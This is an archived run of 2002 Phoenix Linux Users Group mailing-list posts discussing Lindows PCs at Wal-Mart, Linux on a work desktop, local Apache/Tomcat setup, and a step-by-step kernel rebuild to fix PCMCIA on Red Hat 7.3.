PLUG on Slashdot > > > On Mon, 17 Jun 2002, Dr.G wrote: > > > As some comments from /. have been said, all they have to do is go through a > > M$ recognized vendor ( hence..3rd party) to use the same type of software. > > Not necessarily. It also states that the County cannot enter into a > contract with companies who have acted in that fashion.. and since > Microsoft's click-through is, technically, a contract... > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:24:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 14:24:47 -0700 Subject: Lindows References: <2AAC72149C827944B96C854ABD0BCAFF1A4DEC@azmscorp01.corp.azms> Message-ID: <00ef01c21645$67e99130$6501a8c0@drghastly> Uh, Lindows IS Linux. :) ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 2:15 PM Subject: RE: Lindows > Also check out slashdot. They have links to how to get Linux running on these machines. > > Larry > > -----Original Message----- > From: Matt Alexander [mailto:m@netpro.to] > Sent: Monday, June 17, 2002 1:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Lindows > > > Yup. Only $299. > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > Hey folks, > > Just wondering if anyone has heard anything about Lindows? Just read on > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > Ray > > malbojia@qwest.net > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:30:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 14:30:59 -0700 Subject: Lindows References: <3D0E4646.2000904@qwest.net> Message-ID: <002401c21646$47bc9be0$0301010a@tickticker.com> Heard about it? I run it. yes i sprang for the $99 dollars! it is Coooool! just downloaded the latest preview release, haven't burned it to disk but the technology is VERY promising IMHO. Anthony ----- Original Message ----- From: "Raymond Cantwell" To: Sent: Monday, June 17, 2002 1:27 PM Subject: Lindows > Hey folks, > Just wondering if anyone has heard anything about Lindows? Just read on > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > Ray > malbojia@qwest.net > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:33:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 14:33:55 -0700 Subject: Lindows References: <2AAC72149C827944B96C854ABD0BCAFF1A4DEC@azmscorp01.corp.azms> Message-ID: <003401c21646$af01d590$0301010a@tickticker.com> it is running linux. it just has a c/ drive buried in the directory structure. It's either based on suse or debian (i think, i could look it up again if anyone is interested. Anthony ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 2:15 PM Subject: RE: Lindows > Also check out slashdot. They have links to how to get Linux running on these machines. > > Larry > > -----Original Message----- > From: Matt Alexander [mailto:m@netpro.to] > Sent: Monday, June 17, 2002 1:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Lindows > > > Yup. Only $299. > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > Hey folks, > > Just wondering if anyone has heard anything about Lindows? Just read on > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > Ray > > malbojia@qwest.net > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:32:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 14:32:27 -0700 Subject: Lindows References: <20020617203456.96981.qmail@web13406.mail.yahoo.com> Message-ID: <002b01c21646$7abaf5f0$0301010a@tickticker.com> > I was looking at the Lindows site and it didn't seem > like it was officially out yet. AFAIK it's not but will be shortly I see a sneak preview > version but this can't be what Walmart is bundling is > it? I don't believe it's in stores but it is orderable. get yours now in one to 2 months! Do you also have to pay the $99 dollar Lindows > subscription fee every year? no > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:19:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Mon, 17 Jun 2002 15:19:53 -0700 (MST) Subject: InstallFest In-Reply-To: Message-ID: On Mon, 17 Jun 2002, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I also have a machine with a TV Tuner that I am bringing to the > InstallFest, it's currently running Win2k. I'd be interested to know > what software you use to view the Capture from your TV card? Are > there any alternatives? What options does it support (recording, > scheduling, etc...) > Welll... I only use my tv card just to watch the programs. I use a simple TV viewer program called TVSet. I also have a another program that displays the Closed Caption text as it comes out from the channel I'm watching in a terminal window. Doing all this on my Black Thunder box running Gentoo dist system and the 2.4.18 kernel that I just installed this past weekend. Just wondering but what tv card you got? Me I got a Hauppauge TV card "WinTV" I belive it's called. jzc From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:42:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Mon, 17 Jun 2002 14:42:31 -0700 Subject: linux at work Message-ID: <200206172234.g5HMYo226440@PlugList.MyButt.Net> This is more of a report that either a question or an answer. Fairly long. I got my employer to let me bring a linux box to work to use (Suse 7.3 Kde 2.2, 950 AMD 128 megs ram) . I have been using linux at home for 1.5 years off and on, but this is new for me as at home I can do what ever I want and at work, I have tasks assigned to me that must get done in a timley manner in the way the "boss" wants. I am pleased to report that linux has met the challange and in fact in some ways is easier and more versitile than the other OS I've been forced to use. I have to have word processing and spread sheet available, for which I am using open office 1.0. I am using Opera for a browser, but I think I will change to Mozilla. Konquerer doesn't seem to work on one of out internal sites. One problem with opera though is that I have several groups of tasks. Each group requires several programs, including at times 3 or 4 browser windows. I can use virtual desktops to segregate the task groupings, which has worked out well, but opera presents a problem as all the opera windows are opening in the same window. If I used Mozilla, could I open a Mozilla session in a virtual window and then keeping that session there, open 1 or more sessions in another window? Enough rambling for now. If there is any interest I'll keep up the reports of using linux as a desktop in the workplace. Charlie From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:37:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 14:37:49 -0700 Subject: Lindows References: <2AAC72149C827944B96C854ABD0BCAFF1A4DEC@azmscorp01.corp.azms> <003401c21646$af01d590$0301010a@tickticker.com> Message-ID: <010301c21647$3a70b830$6501a8c0@drghastly> It's based on Debian. ----- Original Message ----- From: "tickticker" To: Sent: Monday, June 17, 2002 2:33 PM Subject: Re: Lindows > it is running linux. it just has a c/ drive buried in the directory > structure. It's either based on suse or debian (i think, i could look it up > again if anyone is interested. > > Anthony > > ----- Original Message ----- > From: "Larry Lauer" > To: > Sent: Monday, June 17, 2002 2:15 PM > Subject: RE: Lindows > > > > Also check out slashdot. They have links to how to get Linux running on > these machines. > > > > Larry > > > > -----Original Message----- > > From: Matt Alexander [mailto:m@netpro.to] > > Sent: Monday, June 17, 2002 1:36 PM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Lindows > > > > > > Yup. Only $299. > > > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > > > Hey folks, > > > Just wondering if anyone has heard anything about Lindows? Just read on > > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > > Ray > > > malbojia@qwest.net > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:21:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 15:21:10 -0700 (PDT) Subject: linux at work In-Reply-To: <200206172234.g5HMYo226440@PlugList.MyButt.Net> Message-ID: Sweet! Keep it up! Your next task, should you choose to accept it, is to convert your coworker's desktops to Linux. I'll expect a monthly report on your progress. ;-) ~M On Mon, 17 Jun 2002, charlie bullen wrote: > This is more of a report that either a question or an answer. Fairly long. > > I got my employer to let me bring a linux box to work to use (Suse 7.3 Kde > 2.2, 950 AMD 128 megs ram) . I have been using linux at home for 1.5 years > off and on, but this is new for me as at home I can do what ever I want and > at work, I have tasks assigned to me that must get done in a timley manner in > the way the "boss" wants. I am pleased to report that linux has met the > challange and in fact in some ways is easier and more versitile than the > other OS I've been forced to use. > > I have to have word processing and spread sheet available, for which I am > using open office 1.0. I am using Opera for a browser, but I think I will > change to Mozilla. Konquerer doesn't seem to work on one of out internal > sites. > > One problem with opera though is that I have several groups of tasks. Each > group requires several programs, including at times 3 or 4 browser windows. I > can use virtual desktops to segregate the task groupings, which has worked > out well, but opera presents a problem as all the opera windows are opening > in the same window. If I used Mozilla, could I open a Mozilla session in a > virtual window and then keeping that session there, open 1 or more sessions > in another window? > > Enough rambling for now. If there is any interest I'll keep up the reports of > using linux as a desktop in the workplace. > > Charlie > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:35:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Brian Cluff) Date: 17 Jun 2002 15:35:07 -0700 Subject: PLUG is famous! In-Reply-To: <7D2FB294FA311F4299D03CC8D390437071657B@mainex5.asu.edu> References: <7D2FB294FA311F4299D03CC8D390437071657B@mainex5.asu.edu> Message-ID: <1024353307.22680.51.camel@fone.snaptek.com> Actually the slashdot effect has been fairly mild on the servers. I'm guessing that the reason other people "feel" it so much is they have a rather server intense page to begin with, either via massive database hits, or with a ton of little images all over the page (thumbnails)...etc etc For the most part, the little plug mailing list server is serving up a text only page that is for the most part static. Even then we only seem to be taking about 1 hit a second. I would think that a 386 could dish that out off a floppy with no problems. Brian Cluff Team Snaptek On Mon, 2002-06-17 at 10:59, Joel Dudley wrote: > Can the servers withstand the slashdot effect? batten down the zombie > processes, release the squid cache! Man I'm a dork. > > Joel Dudley > Faculty Research Associate > Arizona State University > Kumar Laboratory of Evolutionary Functional Genomics > http://lsweb.la.asu.edu/skumar/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:52:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 17 Jun 2002 15:52:58 -0700 Subject: Building an RPM References: Message-ID: <3D0E684A.8BF8CADD@qwest.net> Never saw a response to this. To the best of my knowledge, Maximum RPM is still a pretty good guide to building rpms. > Do any of you have a recommended reference for building an RPM file? I have > the book "Maximum RPM" but it is dated 1997 and I suspect that there may be > some new information somewhere out there Any suggestions? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 01:55:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Mon, 17 Jun 2002 18:55:33 -0700 Subject: Lindows References: <20020617203456.96981.qmail@web13406.mail.yahoo.com> <002b01c21646$7abaf5f0$0301010a@tickticker.com> Message-ID: <3D0E9315.70102@cox.net> It's not in the physical WalMart stores. It's only available through WalMart.com. Probably one of the few products WalMart carries not assembled by Chinese nearly-slave labor. http://www.alternet.org/print.html?StoryID=12962 tickticker wrote: > I don't believe it's in stores but it is orderable. get yours now in one to > 2 months! From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:06:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Mon, 17 Jun 2002 16:06:49 -0700 Subject: Lindows Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B745@azmscorp01.corp.azms> Yes. I should have said links to running other distributions on the walmart value pc. I am interested to find out what Windows based software will and will not run on Lindows. It looks like most versions of Office run. Larry -----Original Message----- From: tickticker [mailto:tickticker@cox.net] Sent: Monday, June 17, 2002 2:34 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Lindows it is running linux. it just has a c/ drive buried in the directory structure. It's either based on suse or debian (i think, i could look it up again if anyone is interested. Anthony ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 2:15 PM Subject: RE: Lindows > Also check out slashdot. They have links to how to get Linux running on these machines. > > Larry > > -----Original Message----- > From: Matt Alexander [mailto:m@netpro.to] > Sent: Monday, June 17, 2002 1:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Lindows > > > Yup. Only $299. > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > Hey folks, > > Just wondering if anyone has heard anything about Lindows? Just read on > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > Ray > > malbojia@qwest.net > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:10:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Mon, 17 Jun 2002 16:10:31 -0700 (PDT) Subject: Apache, JSP and Jakarta setup question Message-ID: <20020617231031.6235.qmail@web10605.mail.yahoo.com> Hello Linux Users: 1. I wanted to play around (test develop and teach myself) some Java Servlets Programming **Locally Without** having to configure Apache and Linux to work as a Network server. Is this possible? 2. Can Apache serve .html pages and .jsp pages to a local computer even if it is not configured to be on the network? My idea is to use the computer's loopback address to emulate a 'network' setting for Apache, my computer and the browswer. Is this possible? 3. If not possible, am i stuck to learn Samba and need a 'true' client/server environment with a server and a workstation to develop .jsp pages? I plan to use Apache, Jakarta Tomcat and MySQL for testing and learning. I'm currently using Redhat 7.2 and KDE as a desktop environment. Thanks in advance.... BTW - any DeVry guys out there? ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:12:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 17 Jun 2002 16:12:36 -0700 Subject: Need Help with Redhat 7.3 Install References: <20020617164510.JUSY3097.lakemtao02.cox.net@smtp.east.cox.net> Message-ID: <3D0E6CE4.F303E6CA@qwest.net> I gave Mark a call this morning, but thought I'd send this out to the list since several people have had this issue with RH7.3 and PCMCIA support on laptops. To fix this requires a rebuild of the kernel and the removal of the pcmcia rpm package from the system. rpm -e kernel-pcmcia-cs Grab the src.rpm for kernel-2.4.18 and the raw tar.gz for the kernel from kernel.org wget ftp://ftp.redhat.com/pub/redhat/linux/updates/7.3/en/os/i386/SRPMS/kernel-2.4.18-4.src.rpm wget ftp://ftp.kernel.org/pub/linux/kernel/v2.4/linux-2.4.18.tar.gz wget http://telia.dl.sourceforge.net/sourceforge/pcmcia-cs/pcmcia-cs-3.1.34.tar.gz cd /usr/src tar -xvzf ~/linux-2.4.18.tar.gz rpm -ivh ~/kernel-2.4.18.src.rpm cd /usr/src/redhat/SOURCES cp kernel-config- /usr/src/linux/.config Alter the config of the kernel: cd /usr/src/linux make menuconfig Remove PCMCIA Support General setup -> PCMCIA/CardBus support -> PCMCIA/CardBus support hit n to remove it, then exit config and save the changes make dep && make clean && make bzImage && make modules && make modules_install Wait for it to finish. On my P150 this took most of the night to do. cd /usr/src/linux/arch/i386/boot cp bzImage /boot/vmlinuz-2.4.18 Assuming you are using grub, edit /etc/grub.conf Assuming you are using lilo, edit /etc/lilo.conf, then rerun lilo Easy way to edit both is to copy the config that is currently booting and rename kernel it is loading. Reboot the system and select the recently compiled kernel. Now rebuild PCMCIA support. cd /usr/src tar -xvzf ~/pcmcia-cs-3.1.34.tar.gz cd pcmcia-cs-3.1.34 make config && make all && make install You should be able to accept the defaults during make config. Once done test by starting it up. /etc/rc.d/init.d/pcmcia start Hope this helps. > I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. > > If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! > > Thanks! > > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:14:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 17 Jun 2002 16:14:20 -0700 Subject: Apache, JSP and Jakarta setup question References: <20020617231031.6235.qmail@web10605.mail.yahoo.com> Message-ID: <3D0E6D4C.40FD894C@qwest.net> > 1. I wanted to play around (test develop and teach > myself) > some Java Servlets Programming **Locally Without** > having to configure Apache > and Linux to work as a Network server. Is this > possible? Yes, have it listen on the loopback address/device and just call it with http://127.0.0.1/ > 2. Can Apache serve .html pages and .jsp pages to a > local computer even if it is not > configured to be on the network? My idea is to use > the computer's loopback address > to emulate a 'network' setting for Apache, my > computer and the browswer. Is this > possible? Same as above. > 3. If not possible, am i stuck to learn Samba and need > a 'true' client/server environment > with a server and a workstation to develop .jsp > pages? > > I plan to use Apache, Jakarta Tomcat and MySQL for > testing and learning. > I'm currently using Redhat 7.2 and KDE as a desktop > environment. > > Thanks in advance.... > > BTW - any DeVry guys out there? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:28:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Roderick Ford) Date: Mon, 17 Jun 2002 16:28:53 -0700 Subject: Lindows References: <20020617203456.96981.qmail@web13406.mail.yahoo.com> Message-ID: <3D0E70B5.6050608@asu.edu> After a long day, including working on a dual-boot machine, my explanation to my wife of what I had done during the day included the word "Winux" which only added to the confusion. I got a chuckle out of it, but you had to be there, I'm sure. --rod bob smith wrote: > --- Raymond Cantwell wrote: > >>Hey folks, >>Just wondering if anyone has heard anything about >>Lindows? Just read on >>cnet that Wal-Mart is selling Micron PCs with it >>pre-installed. >>Ray >>malbojia@qwest.net > > > I was looking at the Lindows site and it didn't seem > like it was officially out yet. I see a sneak preview > version but this can't be what Walmart is bundling is > it? Do you also have to pay the $99 dollar Lindows > subscription fee every year? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:56:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 17 Jun 2002 16:56:32 -0700 (MST) Subject: linux at work In-Reply-To: <200206172234.g5HMYo226440@PlugList.MyButt.Net> Message-ID: Am 17. Jun, 2002 schwätzte charlie bullen so: > One problem with opera though is that I have several groups of tasks. Each > group requires several programs, including at times 3 or 4 browser windows. I > can use virtual desktops to segregate the task groupings, which has worked > out well, but opera presents a problem as all the opera windows are opening > in the same window. If I used Mozilla, could I open a Mozilla session in a > virtual window and then keeping that session there, open 1 or more sessions > in another window? I think mozilla can do tabs. Galeon definitely can. Each 'browser window' then is a virtual window within the browser. It's an excellent feature. Konqueror needs it. ciao, der.hans -- # https://www.LuftHans.com/ # I chose to use the kernel sources as my documentation. ;-) # -- Kevin Buettner From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:21:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 20:21:28 -0400 Subject: PLUG on Slashdot References: <009e01c2162f$07cb6780$6501a8c0@drghastly> Message-ID: <3D0E7D08.BB25F7F2@georgetoft.com> I sincerely believe the retraining costs for switching to Sun StarOffice from Microsoft office would amount to 1 hour per person. Computer Based Training (CBT) can be created as a reference for under $40,000. The cost savings by switching (about $140 per PC per year) would recoup the training expenses in less than a year. Most companies will embark on a venture if they can recoup their investment in 2-5 years. That should make this a no-brainer. I am not advocating replacing Windows with Linux (yet), just the Office Productivity software. As I understand it, if a company buys a PC with Windows installed, the license is still perpetual, not the three-year renewing kind (am I wrong?). That being the case, running Windows still makes sense for now. Office, on the other hand, does not. George "Dr.G" wrote: > > As some comments from /. have been said, all they have to do is go through a > M$ recognized vendor ( hence..3rd party) to use the same type of software. > Also, considering that the COP and Maricopa County are the largest employers > for the state of AZ, I highly doubt they want to go through the retraining > fees it would cost to retrain all those people to use the new software. Your > talking about a LOT of $$, $$ that is coming out of my pocket as a taxpayer, > and more importantly, the other 3.9 million+ taxpayers who (Read: people > over 60's usually) will vote that down if neccessary, or complain enough > that it will probably not go through.. So I'm on the fence with that one. It > should be one step at a time. > > ----- Original Message ----- > From: "Tom Emerson" > To: > Sent: Monday, June 17, 2002 11:31 AM > Subject: Re: PLUG on Slashdot > > > Perhaps the Arizona Center for Law in the Public Interest would have > > something to say about enforcement of current policy and law? > > > > http://www.aclpi.org/ > > > > They have a bit of a reputation fighting for enforcement of ignored > laws... > > > > ---------------------------- > > > > On Mon, 17 Jun 2002, Matt Alexander wrote: > > > > I just noticed on Slashdot this morning that we're featured in regards to > > the Maricopa County thread: > > > > http://slashdot.org > > > > ________________________________________________ > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:18:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 17 Jun 2002 17:18:36 -0700 Subject: linux at work In-Reply-To: References: Message-ID: <200206171718.40191.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 17 June 2002 04:56 pm, der.hans wrote: > It's an excellent feature. Konqueror needs it. Konqueror not only needs it, but it has it. Unfortunately, this feature only exists in CVS, but it is slated for 3.1. PS: Last time I checked, you could right-click and add a new tab for that link, or you could add one in the "Window" menu, but it did not automatically open new windows tabbed. This feature will be there, and possibly is, by now. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DnxepNoctRtUIRQRAhAxAJ90gXG0i1Rrfbj52+90valg6uKOKwCeJvwO 5v5KDLBd8s/aI0bPgo47XlE= =kDcc -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:19:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 20:19:11 -0400 Subject: Walmart selling Linux PC's Message-ID: <3D0E7C7F.D78030DF@georgetoft.com> They ship with Lindows, and start at $299. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:31:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 20:31:49 -0400 Subject: Apache, JSP and Jakarta setup question References: <20020617231031.6235.qmail@web10605.mail.yahoo.com> <3D0E6D4C.40FD894C@qwest.net> Message-ID: <3D0E7F75.A31781E8@georgetoft.com> Kevin Brown wrote: > > > 1. I wanted to play around (test develop and teach > > myself) > > some Java Servlets Programming **Locally Without** > > having to configure Apache > > and Linux to work as a Network server. Is this > > possible? > > Yes, have it listen on the loopback address/device and just call it with > http://127.0.0.1/ > > > 2. Can Apache serve .html pages and .jsp pages to a > > local computer even if it is not > > configured to be on the network? My idea is to use > > the computer's loopback address > > to emulate a 'network' setting for Apache, my > > computer and the browswer. Is this > > possible? > > Same as above. > > > 3. If not possible, am i stuck to learn Samba and need > > a 'true' client/server environment > > with a server and a workstation to develop .jsp > > pages? > > > > I plan to use Apache, Jakarta Tomcat and MySQL for > > testing and learning. > > I'm currently using Redhat 7.2 and KDE as a desktop > > environment. > > > > Thanks in advance.... > > > > BTW - any DeVry guys out there? > ________________________________________________ I started out doing this on my current workstation, and discovered (a few months later) that this was a mistake. My circumstances may be abnormal, but I ended up having to change over to 192.168.55.1 from 127.0.0.1. (For those that do not recognize the 55 in the above IP - it's VMWare's vmnet1 address.) I needed the ability to surf my development website from the localhost as well as the VMWare sessions I created. By using the 127.0.0.1 address, the VMWare machines could not access the website. Needless to say, returning a DNS answer of 127.0.0.1 for 